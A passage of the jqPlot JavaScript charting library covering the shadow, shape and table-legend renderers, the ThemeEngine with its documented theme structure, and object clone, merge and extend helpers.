angle (rad), end angle (rad)] $.jqplot.ShadowRenderer.prototype.draw = function(ctx, points, options) { ctx.save(); var opts = (options != null) ? options : {}; var fill = (opts.fill != null) ? opts.fill : this.fill; var fillRect = (opts.fillRect != null) ? opts.fillRect : this.fillRect; var closePath = (opts.closePath != null) ? opts.closePath : this.closePath; var offset = (opts.offset != null) ? opts.offset : this.offset; var alpha = (opts.alpha != null) ? opts.alpha : this.alpha; var depth = (opts.depth != null) ? opts.depth : this.depth; var isarc = (opts.isarc != null) ? opts.isarc : this.isarc; var linePattern = (opts.linePattern != null) ? opts.linePattern : this.linePattern; ctx.lineWidth = (opts.lineWidth != null) ? opts.lineWidth : this.lineWidth; ctx.lineJoin = (opts.lineJoin != null) ? opts.lineJoin : this.lineJoin; ctx.lineCap = (opts.lineCap != null) ? opts.lineCap : this.lineCap; ctx.strokeStyle = opts.strokeStyle || this.strokeStyle || 'rgba(0,0,0,'+alpha+')'; ctx.fillStyle = opts.fillStyle || this.fillStyle || 'rgba(0,0,0,'+alpha+')'; for (var j=0; j<depth; j++) { var ctxPattern = $.jqplot.LinePattern(ctx, linePattern); ctx.translate(Math.cos(this.angle*Math.PI/180)*offset, Math.sin(this.angle*Math.PI/180)*offset); ctxPattern.beginPath(); if (isarc) { ctx.arc(points[0], points[1], points[2], points[3], points[4], true); } else if (fillRect) { if (fillRect) { ctx.fillRect(points[0], points[1], points[2], points[3]); } } else if (points && points.length){ var move = true; for (var i=0; i<points.length; i++) { // skip to the first non-null point and move to it. if (points[i][0] != null && points[i][1] != null) { if (move) { ctxPattern.moveTo(points[i][0], points[i][1]); move = false; } else { ctxPattern.lineTo(points[i][0], points[i][1]); } } else { move = true; } } } if (closePath) { ctxPattern.closePath(); } if (fill) { ctx.fill(); } else { ctx.stroke(); } } ctx.restore(); }; // class: $.jqplot.shapeRenderer // The default jqPlot shape renderer. Given a set of points will // plot them and either stroke a line (fill = false) or fill them (fill = true). // If a filled shape is desired, closePath = true must also be set to close // the shape. $.jqplot.ShapeRenderer = function(options){ this.lineWidth = 1.5; // prop: linePattern // line pattern 'dashed', 'dotted', 'solid', some combination // of '-' and '.' characters such as '.-.' or a numerical array like // [draw, skip, draw, skip, ...] such as [1, 10] to draw a dotted line, // [1, 10, 20, 10] to draw a dot-dash line, and so on. this.linePattern = 'solid'; // prop: lineJoin // How line segments of the shadow are joined. this.lineJoin = 'miter'; // prop: lineCap // how ends of the shadow line are rendered. this.lineCap = 'round'; // prop; closePath // whether line path segment is closed upon itself. this.closePath = false; // prop: fill // whether to fill the shape. this.fill = false; // prop: isarc // whether the shadow is an arc or not. this.isarc = false; // prop: fillRect // true to draw shape as a filled rectangle. this.fillRect = false; // prop: strokeRect // true to draw shape as a stroked rectangle. this.strokeRect = false; // prop: clearRect // true to cear a rectangle. this.clearRect = false; // prop: strokeStyle // css color spec for the stoke style this.strokeStyle = '#999999'; // prop: fillStyle // css color spec for the fill style. this.fillStyle = '#999999'; $.extend(true, this, options); }; $.jqplot.ShapeRenderer.prototype.init = function(options) { $.extend(true, this, options); }; // function: draw // draws the shape. // // ctx - canvas drawing context // points - array of points for shapes or // [x, y, width, height] for rectangles or // [x, y, radius, start angle (rad), end angle (rad)] for circles and arcs. $.jqplot.ShapeRenderer.prototype.draw = function(ctx, points, options) { ctx.save(); var opts = (options != null) ? options : {}; var fill = (opts.fill != null) ? opts.fill : this.fill; var closePath = (opts.closePath != null) ? opts.closePath : this.closePath; var fillRect = (opts.fillRect != null) ? opts.fillRect : this.fillRect; var strokeRect = (opts.strokeRect != null) ? opts.strokeRect : this.strokeRect; var clearRect = (opts.clearRect != null) ? opts.clearRect : this.clearRect; var isarc = (opts.isarc != null) ? opts.isarc : this.isarc; var linePattern = (opts.linePattern != null) ? opts.linePattern : this.linePattern; var ctxPattern = $.jqplot.LinePattern(ctx, linePattern); ctx.lineWidth = opts.lineWidth || this.lineWidth; ctx.lineJoin = opts.lineJoin || this.lineJoin; ctx.lineCap = opts.lineCap || this.lineCap; ctx.strokeStyle = (opts.strokeStyle || opts.color) || this.strokeStyle; ctx.fillStyle = opts.fillStyle || this.fillStyle; ctx.beginPath(); if (isarc) { ctx.arc(points[0], points[1], points[2], points[3], points[4], true); if (closePath) { ctx.closePath(); } if (fill) { ctx.fill(); } else { ctx.stroke(); } ctx.restore(); return; } else if (clearRect) { ctx.clearRect(points[0], points[1], points[2], points[3]); ctx.restore(); return; } else if (fillRect || strokeRect) { if (fillRect) { ctx.fillRect(points[0], points[1], points[2], points[3]); } if (strokeRect) { ctx.strokeRect(points[0], points[1], points[2], points[3]); ctx.restore(); return; } } else if (points && points.length){ var move = true; for (var i=0; i<points.length; i++) { // skip to the first non-null point and move to it. if (points[i][0] != null && points[i][1] != null) { if (move) { ctxPattern.moveTo(points[i][0], points[i][1]); move = false; } else { ctxPattern.lineTo(points[i][0], points[i][1]); } } else { move = true; } } if (closePath) { ctxPattern.closePath(); } if (fill) { ctx.fill(); } else { ctx.stroke(); } } ctx.restore(); }; // class $.jqplot.TableLegendRenderer // The default legend renderer for jqPlot. $.jqplot.TableLegendRenderer = function(){ // }; $.jqplot.TableLegendRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.TableLegendRenderer.prototype.addrow = function (label, color, pad, reverse) { var rs = (pad) ? this.rowSpacing+'px' : '0px'; var tr; var td; var elem; var div0; var div1; elem = document.createElement('tr'); tr = $(elem); tr.addClass('jqplot-table-legend'); elem = null; if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } if (this.showSwatches) { td = $(document.createElement('td')); td.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); tr.append(td.append(div0.append(div1))); // $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ // '<div><div class="jqplot-table-legend-swatch" style="background-color:'+color+';border-color:'+color+';"></div>'+ // '</div></td>').appendTo(tr); } if (this.showLabels) { td = $(document.createElement('td')); td.addClass('jqplot-table-legend jqplot-table-legend-label'); td.css('paddingTop', rs); tr.append(td); // elem = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); // elem.appendTo(tr); if (this.escapeHtml) { td.text(label); } else { td.html(label); } } td = null; div0 = null; div1 = null; tr = null; elem = null; }; // called with scope of legend $.jqplot.TableLegendRenderer.prototype.draw = function() { if (this._elem) { this._elem.emptyForce(); this._elem = null; } if (this.show) { var series = this._series; // make a table. one line label per row. var elem = document.createElement('table'); this._elem = $(elem); this._elem.addClass('jqplot-table-legend'); var ss = {position:'absolute'}; if (this.background) { ss['background'] = this.background; } if (this.border) { ss['border'] = this.border; } if (this.fontSize) { ss['fontSize'] = this.fontSize; } if (this.fontFamily) { ss['fontFamily'] = this.fontFamily; } if (this.textColor) { ss['textColor'] = this.textColor; } if (this.marginTop != null) { ss['marginTop'] = this.marginTop; } if (this.marginBottom != null) { ss['marginBottom'] = this.marginBottom; } if (this.marginLeft != null) { ss['marginLeft'] = this.marginLeft; } if (this.marginRight != null) { ss['marginRight'] = this.marginRight; } var pad = false, reverse = false, s; for (var i = 0; i< series.length; i++) { s = series[i]; if (s._stack || s.renderer.constructor == $.jqplot.BezierCurveRenderer){ reverse = true; } if (s.show && s.showLabel) { var lt = this.labels[i] || s.label.toString(); if (lt) { var color = s.color; if (reverse && i < series.length - 1){ pad = true; } else if (reverse && i == series.length - 1){ pad = false; } this.renderer.addrow.call(this, lt, color, pad, reverse); pad = true; } // let plugins add more rows to legend. Used by trend line plugin. for (var j=0; j<$.jqplot.addLegendRowHooks.length; j++) { var item = $.jqplot.addLegendRowHooks[j].call(this, s); if (item) { this.renderer.addrow.call(this, item.label, item.color, pad); pad = true; } } lt = null; } } } return this._elem; }; $.jqplot.TableLegendRenderer.prototype.pack = function(offsets) { if (this.show) { if (this.placement == 'insideGrid') { switch (this.location) { case 'nw': var a = offsets.left; var b = offsets.top; this._elem.css('left', a); this._elem.css('top', b); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = offsets.top; this._elem.css('left', a); this._elem.css('top', b); break; case 'ne': var a = offsets.right; var b = offsets.top; this._elem.css({right:a, top:b}); break; case 'e': var a = offsets.right; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:a, top:b}); break; case 'se': var a = offsets.right; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = offsets.bottom; this._elem.css({left:a, bottom:b}); break; case 'sw': var a = offsets.left; var b = offsets.bottom; this._elem.css({left:a, bottom:b}); break; case 'w': var a = offsets.left; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:a, top:b}); break; default: // same as 'se' var a = offsets.right; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; } } else if (this.placement == 'outside'){ switch (this.location) { case 'nw': var a = this._plotDimensions.width - offsets.left; var b = offsets.top; this._elem.css('right', a); this._elem.css('top', b); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = this._plotDimensions.height - offsets.top; this._elem.css('left', a); this._elem.css('bottom', b); break; case 'ne': var a = this._plotDimensions.width - offsets.right; var b = offsets.top; this._elem.css({left:a, top:b}); break; case 'e': var a = this._plotDimensions.width - offsets.right; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:a, top:b}); break; case 'se': var a = this._plotDimensions.width - offsets.right; var b = offsets.bottom; this._elem.css({left:a, bottom:b}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = this._plotDimensions.height - offsets.bottom; this._elem.css({left:a, top:b}); break; case 'sw': var a = this._plotDimensions.width - offsets.left; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; case 'w': var a = this._plotDimensions.width - offsets.left; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:a, top:b}); break; default: // same as 'se' var a = offsets.right; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; } } else { switch (this.location) { case 'nw': this._elem.css({left:0, top:offsets.top}); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; this._elem.css({left: a, top:offsets.top}); break; case 'ne': this._elem.css({right:0, top:offsets.top}); break; case 'e': var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:offsets.right, top:b}); break; case 'se': this._elem.css({right:offsets.right, bottom:offsets.bottom}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; this._elem.css({left: a, bottom:offsets.bottom}); break; case 'sw': this._elem.css({left:offsets.left, bottom:offsets.bottom}); break; case 'w': var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:offsets.left, top:b}); break; default: // same as 'se' this._elem.css({right:offsets.right, bottom:offsets.bottom}); break; } } } }; /** * Class: $.jqplot.ThemeEngine * Theme Engine provides a programatic way to change some of the more * common jqplot styling options such as fonts, colors and grid options. * A theme engine instance is created with each plot. The theme engine * manages a collection of themes which can be modified, added to, or * applied to the plot. * * The themeEngine class is not instantiated directly. * When a plot is initialized, the current plot options are scanned * an a default theme named "Default" is created. This theme is * used as the basis for other themes added to the theme engine and * is always available. * * A theme is a simple javascript object with styling parameters for * various entities of the plot. A theme has the form: * * * > { * > _name:f "Default", * > target: { * > backgroundColor: "transparent" * > }, * > legend: { * > textColor: null, * > fontFamily: null, * > fontSize: null, * > border: null, * > background: null * > }, * > title: { * > textColor: "rgb(102, 102, 102)", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif", * > fontSize: "19.2px", * > textAlign: "center" * > }, * > seriesStyles: {}, * > series: [{ * > color: "#4bb2c5", * > lineWidth: 2.5, * > linePattern: "solid", * > shadow: true, * > fillColor: "#4bb2c5", * > showMarker: true, * > markerOptions: { * > color: "#4bb2c5", * > show: true, * > style: 'filledCircle', * > lineWidth: 1.5, * > size: 4, * > shadow: true * > } * > }], * > grid: { * > drawGridlines: true, * > gridLineColor: "#cccccc", * > gridLineWidth: 1, * > backgroundColor: "#fffdf6", * > borderColor: "#999999", * > borderWidth: 2, * > shadow: true * > }, * > axesStyles: { * > label: {}, * > ticks: {} * > }, * > axes: { * > xaxis: { * > borderColor: "#999999", * > borderWidth: 2, * > ticks: { * > show: true, * > showGridline: true, * > showLabel: true, * > showMark: true, * > size: 4, * > textColor: "", * > whiteSpace: "nowrap", * > fontSize: "12px", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif" * > }, * > label: { * > textColor: "rgb(102, 102, 102)", * > whiteSpace: "normal", * > fontSize: "14.6667px", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif", * > fontWeight: "400" * > } * > }, * > yaxis: { * > borderColor: "#999999", * > borderWidth: 2, * > ticks: { * > show: true, * > showGridline: true, * > showLabel: true, * > showMark: true, * > size: 4, * > textColor: "", * > whiteSpace: "nowrap", * > fontSize: "12px", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif" * > }, * > label: { * > textColor: null, * > whiteSpace: null, * > fontSize: null, * > fontFamily: null, * > fontWeight: null * > } * > }, * > x2axis: {... * > }, * > ... * > y9axis: {... * > } * > } * > } * * "seriesStyles" is a style object that will be applied to all series in the plot. * It will forcibly override any styles applied on the individual series. "axesStyles" is * a style object that will be applied to all axes in the plot. It will also forcibly * override any styles on the individual axes. * * The example shown above has series options for a line series. Options for other * series types are shown below: * * Bar Series: * * > { * > color: "#4bb2c5", * > seriesColors: ["#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], * > lineWidth: 2.5, * > shadow: true, * > barPadding: 2, * > barMargin: 10, * > barWidth: 15.09375, * > highlightColors: ["rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)"] * > } * * Pie Series: * * > { * > seriesColors: ["#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], * > padding: 20, * > sliceMargin: 0, * > fill: true, * > shadow: true, * > startAngle: 0, * > lineWidth: 2.5, * > highlightColors: ["rgb(129,201,214)", "rgb(240,189,104)", "rgb(214,202,165)", "rgb(137,180,158)", "rgb(168,180,137)", "rgb(180,174,89)", "rgb(180,113,161)", "rgb(129,141,236)", "rgb(227,205,120)", "rgb(255,138,76)", "rgb(76,169,219)", "rgb(215,126,190)", "rgb(220,232,135)", "rgb(200,167,96)", "rgb(103,202,235)", "rgb(208,154,215)"] * > } * * Funnel Series: * * > { * > color: "#4bb2c5", * > lineWidth: 2, * > shadow: true, * > padding: { * > top: 20, * > right: 20, * > bottom: 20, * > left: 20 * > }, * > sectionMargin: 6, * > seriesColors: ["#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], * > highlightColors: ["rgb(147,208,220)", "rgb(242,199,126)", "rgb(220,210,178)", "rgb(154,191,172)", "rgb(180,191,154)", "rgb(191,186,112)", "rgb(191,133,174)", "rgb(147,157,238)", "rgb(231,212,139)", "rgb(255,154,102)", "rgb(102,181,224)", "rgb(221,144,199)", "rgb(225,235,152)", "rgb(200,167,96)", "rgb(124,210,238)", "rgb(215,169,221)"] * > } * */ $.jqplot.ThemeEngine = function(){ // Group: Properties // // prop: themes // hash of themes managed by the theme engine. // Indexed by theme name. this.themes = {}; // prop: activeTheme // Pointer to currently active theme this.activeTheme=null; }; // called with scope of plot $.jqplot.ThemeEngine.prototype.init = function() { // get the Default theme from the current plot settings. var th = new $.jqplot.Theme({_name:'Default'}); var n, i, nn; for (n in th.target) { if (n == "textColor") { th.target[n] = this.target.css('color'); } else { th.target[n] = this.target.css(n); } } if (this.title.show && this.title._elem) { for (n in th.title) { if (n == "textColor") { th.title[n] = this.title._elem.css('color'); } else { th.title[n] = this.title._elem.css(n); } } } for (n in th.grid) { th.grid[n] = this.grid[n]; } if (th.grid.backgroundColor == null && this.grid.background != null) { th.grid.backgroundColor = this.grid.background; } if (this.legend.show && this.legend._elem) { for (n in th.legend) { if (n == 'textColor') { th.legend[n] = this.legend._elem.css('color'); } else { th.legend[n] = this.legend._elem.css(n); } } } var s; for (i=0; i<this.series.length; i++) { s = this.series[i]; if (s.renderer.constructor == $.jqplot.LineRenderer) { th.series.push(new LineSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.BarRenderer) { th.series.push(new BarSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.PieRenderer) { th.series.push(new PieSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.DonutRenderer) { th.series.push(new DonutSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.FunnelRenderer) { th.series.push(new FunnelSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.MeterGaugeRenderer) { th.series.push(new MeterSeriesProperties()); } else { th.series.push({}); } for (n in th.series[i]) { th.series[i][n] = s[n]; } } var a, ax; for (n in this.axes) { ax = this.axes[n]; a = th.axes[n] = new AxisProperties(); a.borderColor = ax.borderColor; a.borderWidth = ax.borderWidth; if (ax._ticks && ax._ticks[0]) { for (nn in a.ticks) { if (ax._ticks[0].hasOwnProperty(nn)) { a.ticks[nn] = ax._ticks[0][nn]; } else if (ax._ticks[0]._elem){ a.ticks[nn] = ax._ticks[0]._elem.css(nn); } } } if (ax._label && ax._label.show) { for (nn in a.label) { // a.label[nn] = ax._label._elem.css(nn); if (ax._label[nn]) { a.label[nn] = ax._label[nn]; } else if (ax._label._elem){ if (nn == 'textColor') { a.label[nn] = ax._label._elem.css('color'); } else { a.label[nn] = ax._label._elem.css(nn); } } } } } this.themeEngine._add(th); this.themeEngine.activeTheme = this.themeEngine.themes[th._name]; }; /** * Group: methods * * method: get * * Get and return the named theme or the active theme if no name given. * * parameter: * * name - name of theme to get. * * returns: * * Theme instance of given name. */ $.jqplot.ThemeEngine.prototype.get = function(name) { if (!name) { // return the active theme return this.activeTheme; } else { return this.themes[name]; } }; function numericalOrder(a,b) { return a-b; } /** * method: getThemeNames * * Return the list of theme names in this manager in alpha-numerical order. * * parameter: * * None * * returns: * * A the list of theme names in this manager in alpha-numerical order. */ $.jqplot.ThemeEngine.prototype.getThemeNames = function() { var tn = []; for (var n in this.themes) { tn.push(n); } return tn.sort(numericalOrder); }; /** * method: getThemes * * Return a list of themes in alpha-numerical order by name. * * parameter: * * None * * returns: * * A list of themes in alpha-numerical order by name. */ $.jqplot.ThemeEngine.prototype.getThemes = function() { var tn = []; var themes = []; for (var n in this.themes) { tn.push(n); } tn.sort(numericalOrder); for (var i=0; i<tn.length; i++) { themes.push(this.themes[tn[i]]); } return themes; }; $.jqplot.ThemeEngine.prototype.activate = function(plot, name) { // sometimes need to redraw whole plot. var redrawPlot = false; if (!name && this.activeTheme && this.activeTheme._name) { name = this.activeTheme._name; } if (!this.themes.hasOwnProperty(name)) { throw new Error("No theme of that name"); } else { var th = this.themes[name]; this.activeTheme = th; var val, checkBorderColor = false, checkBorderWidth = false; var arr = ['xaxis', 'x2axis', 'yaxis', 'y2axis']; for (i=0; i<arr.length; i++) { var ax = arr[i]; if (th.axesStyles.borderColor != null) { plot.axes[ax].borderColor = th.axesStyles.borderColor; } if (th.axesStyles.borderWidth != null) { plot.axes[ax].borderWidth = th.axesStyles.borderWidth; } } for (var axname in plot.axes) { var axis = plot.axes[axname]; if (axis.show) { var thaxis = th.axes[axname] || {}; var thaxstyle = th.axesStyles; var thax = $.jqplot.extend(true, {}, thaxis, thaxstyle); val = (th.axesStyles.borderColor != null) ? th.axesStyles.borderColor : thax.borderColor; if (thax.borderColor != null) { axis.borderColor = thax.borderColor; redrawPlot = true; } val = (th.axesStyles.borderWidth != null) ? th.axesStyles.borderWidth : thax.borderWidth; if (thax.borderWidth != null) { axis.borderWidth = thax.borderWidth; redrawPlot = true; } if (axis._ticks && axis._ticks[0]) { for (var nn in thax.ticks) { // val = null; // if (th.axesStyles.ticks && th.axesStyles.ticks[nn] != null) { // val = th.axesStyles.ticks[nn]; // } // else if (thax.ticks[nn] != null){ // val = thax.ticks[nn] // } val = thax.ticks[nn]; if (val != null) { axis.tickOptions[nn] = val; axis._ticks = []; redrawPlot = true; } } } if (axis._label && axis._label.show) { for (var nn in thax.label) { // val = null; // if (th.axesStyles.label && th.axesStyles.label[nn] != null) { // val = th.axesStyles.label[nn]; // } // else if (thax.label && thax.label[nn] != null){ // val = thax.label[nn] // } val = thax.label[nn]; if (val != null) { axis.labelOptions[nn] = val; redrawPlot = true; } } } } } for (var n in th.grid) { if (th.grid[n] != null) { plot.grid[n] = th.grid[n]; } } if (!redrawPlot) { plot.grid.draw(); } if (plot.legend.show) { for (n in th.legend) { if (th.legend[n] != null) { plot.legend[n] = th.legend[n]; } } } if (plot.title.show) { for (n in th.title) { if (th.title[n] != null) { plot.title[n] = th.title[n]; } } } var i; for (i=0; i<th.series.length; i++) { var opts = {}; var redrawSeries = false; for (n in th.series[i]) { val = (th.seriesStyles[n] != null) ? th.seriesStyles[n] : th.series[i][n]; if (val != null) { opts[n] = val; if (n == 'color') { plot.series[i].renderer.shapeRenderer.fillStyle = val; plot.series[i].renderer.shapeRenderer.strokeStyle = val; plot.series[i][n] = val; } else if ((n == 'lineWidth') || (n == 'linePattern')) { plot.series[i].renderer.shapeRenderer[n] = val; plot.series[i][n] = val; } else if (n == 'markerOptions') { merge (plot.series[i].markerOptions, val); merge (plot.series[i].markerRenderer, val); } else { plot.series[i][n] = val; } redrawPlot = true; } } } if (redrawPlot) { plot.target.empty(); plot.draw(); } for (n in th.target) { if (th.target[n] != null) { plot.target.css(n, th.target[n]); } } } }; $.jqplot.ThemeEngine.prototype._add = function(theme, name) { if (name) { theme._name = name; } if (!theme._name) { theme._name = Date.parse(new Date()); } if (!this.themes.hasOwnProperty(theme._name)) { this.themes[theme._name] = theme; } else { throw new Error("jqplot.ThemeEngine Error: Theme already in use"); } }; // method remove // Delete the named theme, return true on success, false on failure. /** * method: remove * * Remove the given theme from the themeEngine. * * parameters: * * name - name of the theme to remove. * * returns: * * true on success, false on failure. */ $.jqplot.ThemeEngine.prototype.remove = function(name) { if (name == 'Default') { return false; } return delete this.themes[name]; }; /** * method: newTheme * * Create a new theme based on the default theme, adding it the themeEngine. * * parameters: * * name - name of the new theme. * obj - optional object of styles to be applied to this new theme. * * returns: * * new Theme object. */ $.jqplot.ThemeEngine.prototype.newTheme = function(name, obj) { if (typeof(name) == 'object') { obj = obj || name; name = null; } if (obj && obj._name) { name = obj._name; } else { name = name || Date.parse(new Date()); } // var th = new $.jqplot.Theme(name); var th = this.copy(this.themes['Default']._name, name); $.jqplot.extend(th, obj); return th; }; // function clone(obj) { // return eval(obj.toSource()); // } function clone(obj){ if(obj == null || typeof(obj) != 'object'){ return obj; } var temp = new obj.constructor(); for(var key in obj){ temp[key] = clone(obj[key]); } return temp; } $.jqplot.clone = clone; function merge(obj1, obj2) { if (obj2 == null || typeof(obj2) != 'object') { return; } for (var key in obj2) { if (key == 'highlightColors') { obj1[key] = clone(obj2[key]); } if (obj2[key] != null && typeof(obj2[key]) == 'object') { if (!obj1.hasOwnProperty(key)) { obj1[key] = {}; } merge(obj1[key], obj2[key]); } else { obj1[key] = obj2[key]; } } } $.jqplot.merge = merge; // Use the jQuery 1.3.2 extend function since behaviour in jQuery 1.4 seems problematic $.jqplot.extend = function() { // copy reference to target object var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; target = arguments[1] || {}; // skip the boolean and the target i = 2; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !toString.call(target) === "[object Function]" ) { target = {}; } for ( ; i < length; i++ ){ // Only deal with non-null/undefined values if ( (options = arguments[ i ]) != null ) { // Extend the base object for ( var name in options ) { var src = target[ name ], copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging object values if ( deep && copy && typeof copy === "object" && !copy.nodeType ) { target[ name ] = $.jqplot.extend( deep, // Never move original objects, clone them src || ( copy.length != null ? [ ] : { } ) , copy ); } // Don't bring in undefined values else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; /** * method: rename * * Rename a theme. * * parameters: * * oldName - current name of the theme. * newName - desired name of the theme. * * returns: * * new Theme object. */ $.jqplot.ThemeEngine.prototype.rename = function (oldName, newName) { if (oldName == 'Default' || newName == 'Default') { throw new Error ("jqplot.ThemeEngine Error: Cannot rename from/to Default"); } if (this.themes.hasOwnProperty(newName)) { throw new Error ("jqplot.ThemeEngine Error: New name already in use."); } else if (this.themes.hasOwnProperty(oldName)) { var th = this.copy (oldName, newName); this.remove(oldName); return th; } throw new Error("jqplot.ThemeEngine Error: Old name or new name invalid"); }; /** * method: copy * * Create a copy of an existing theme in the themeEngine, adding it the themeEngine. * * parameters: * * sourceName - name of the existing theme. * targetName - name of the copy. * obj - optional object of style parameter to apply to the new theme. * * returns: * * new Theme object. */ $.jqplot.ThemeEngine.prototype.copy = function (sourceName, targetName, obj) { if (targetName == 'Default') { throw new Error ("jqplot.ThemeEngine Error: Cannot copy over Default theme"); } if (!this.themes.hasOwnProperty(sourceName)) { var s = "jqplot.ThemeEngine Error: Source name invalid"; throw new Error(s); } if (this.themes.hasOwnProperty(targetName)) { var s = "jqplot.ThemeEngine Error: Target name invalid"; throw new Error(s); } else { var th = clone(this.themes[sourceName]); th._name = targetName; $.jqplot.extend(true, th, obj); this._add(th); return th; } }; $.jqplot.Theme = function(name, obj) { if (typeof(name) == 'object') { obj = obj || name; name = null; } name = name || Date.parse(new Date()); this._name = name; this.target = { backgroundColor: null }; this.legend = { textColor: null, fontFamily: null, fontSize: null, border: null, background: null }; this.title = { textColor: null, fontFamily: null, fontSize: null, textAlign: null }; this.seriesStyles = {}; this.series = []; this.grid = { drawGridlines: null, gridLineColor: null, gridLineWidth: null, backgroundColor: null, borderColor: null, borderWidth: null, shadow: null }; this.axesStyles = {label:{}, ticks:{}}; this.axes = {}; if (typeof(obj) == 'string') { this._name = obj; } else if(typeof(obj) == 'object') { $.jqplot.extend(true, this, obj); } }; var AxisProperties = function() { this.borderColor = null; this.borderWidth = null; this.ticks = new AxisTicks(); this.label = new AxisLabel(); }; var AxisTicks = function() { this.show = null; this.showGridline = null; this.showLabel = null; this.showMark = null; this.size = null; this.textColor = null; this.whiteSpace = null; this.fontSize = null; this.fontFamily = null; }; var AxisLabel = function() { this.textColor = null; this.whiteSpace = null; this.fontSize = null; this.fontFamily = null; this.fontWeight = null; }; var LineSeriesProperties = function() { this.color=null; this.lineWidth=null; this.linePattern=null; this.shadow=null; this.fillColor=null; this.showMarker=null; this.markerOptions = new MarkerOptions(); }; var MarkerOptions = function() { this.show = null; this.style = null; this.lineWidth = null; this.size = null; this.color = null; this.shadow = null; }; var BarSeriesProperties = function() { this.color=null; this.seriesColors=null; this.lineWidth=null; this.shadow=null; this.barPadding=null; this.barMargin=null; this.barWidth=null; this.highlightColors=null; }; var PieSeriesProperties = function() { this.seriesColors=null; this.padding=null; this.sliceMargin=null; this.fill=null; this.shadow=null; this.startAngle=null; this.lineWidth=null; this.highlightColors=null; }; var DonutSeriesProperties = function() { this.seriesColors=null; this.padding=null; this.sliceMargin=null; this.fill=null; this.shadow=null; this.startAngle=null; this.lineWidth=null; this.innerDiameter=null; this.thickness=null; this.ringMargin=null; this.highlightColors=null; }; var FunnelSeriesProperties = function() { this.color=null; this.lineWidth=null; this.shadow=null; this.padding=null; this.sectionMargin=null; this.seriesColors=null; this.highlightColors=null; }; var MeterSeriesProperties = function() { this.padding=null; this.backgroundColor=null; this.ringColor=null; this.tickColor=null; this.ringWidth=null; this.intervalColors=null; this.intervalInnerRadius=null; this.intervalOuterRadius=null; this.hubRadius=null; this.needleThickness=null; this.needlePad=null; }; $.fn.jqplotChildText = function() { return $(this).contents().filter(function() { return this.nodeType == 3; // Node.TEXT_NODE not defined in I7 }).text(); }; // Returns font style as abbreviation for "font" property. $.fn.jqplotGetComputedFontStyle = function() { var css = window.getComputedStyle ? window.getComputedStyle(this[0], "") : this[0].currentStyle; var attrs = css['font-style'] ? ['font-style', 'font-weight', 'font-size', 'font-family'] : ['fontStyle', 'fontWeight', 'fontSize', 'fontFamily']; var style = []; for (var i=0 ; i < attrs.length; ++i) { var attr = String(css[attrs[i]]); if (attr && attr != 'normal') { style.push(attr); } } return style.join(' '); }; /** * Namespace: $.fn * jQuery namespace to attach functions to jQuery elements. * */ $.fn.jqplotToImageCanvas = function(options) { options = options || {}; var x_offset = (options.x_offset == null) ? 0 : options.x_offset; var y_offset = (options.y_offset == null) ? 0 : options.y_offset; var backgroundColor = (options.backgroundColor == null) ? 'rgb(255,255,255)' : options.backgroundColor; if ($(this).width() == 0 || $(this).height() == 0) { return null; } 